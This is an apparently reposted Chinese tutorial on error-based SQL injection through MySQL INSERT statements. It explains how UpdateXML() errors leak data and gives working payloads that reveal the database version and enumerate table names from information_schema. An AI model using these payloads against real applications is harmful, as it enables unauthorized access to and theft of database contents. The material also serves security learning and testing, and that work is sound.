首页 > 代码库 > 使用insert、update和delete报错注入

使用insert、update和delete报错注入

使用insert注入

1、原理

一般我们写SQL注入的过滤器的话,重点关注的关键词就是select了,因为这个关键字可以从数据库中查询信息。所以一旦这个函数杯过滤,并且无法通过其他方法进行绕过的话,注入工作可能会变得比较困难。
如果在有用户注册的页面的话,后台SQL语句会有类似insert出现,例如

  1. insert into user(id,name,pass) values (1,"tony","123456");

这里是可以进行报错注入的。主要就是用到了两个Mysql对XML提供支持的两个函数UpdateXML()ExtractValue()
以UpdateXML()函数进行举例,这是UpdateXML()函数的参数:

  1. UPDATEXML (XML_document, XPath_string, new_value);
  2. 第一个参数:XML_documentString格式,为XML文档对象的名称,文中为Doc
  3. 第二个参数:XPath_string (Xpath格式的字符串)
  4. 第三个参数:new_valueString格式,替换查找到的符合条件的数据

最关键的就是第二个参数,第二个参数需要符合XPath的格式,一旦不符合的话,就会报错,并且弹出这个不标准的字符串。例如:

  1. INSERT INTO users (id, username, password) VALUES (2, updatexml(1,concat(0x7e,(version())),0), ‘Nervo‘);

中间concat(0x7e,(version())),0)函数将ASCII为0x7e的字符(~)与数据库版本连接,但是这并不符合XPath格式,所以报错。

2、测试

爆出数据库版本

  1. INSERT INTO users (id, username, pass) VALUES (2,updatexml(1,concat(0x7e,(version())),0), ‘Nervo‘);

技术分享

爆出数据表

  1. INSERT INTO test (id, name, pass) VALUES (2, updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0), ‘Nervo‘);

技术分享

使用insert、update和delete报错注入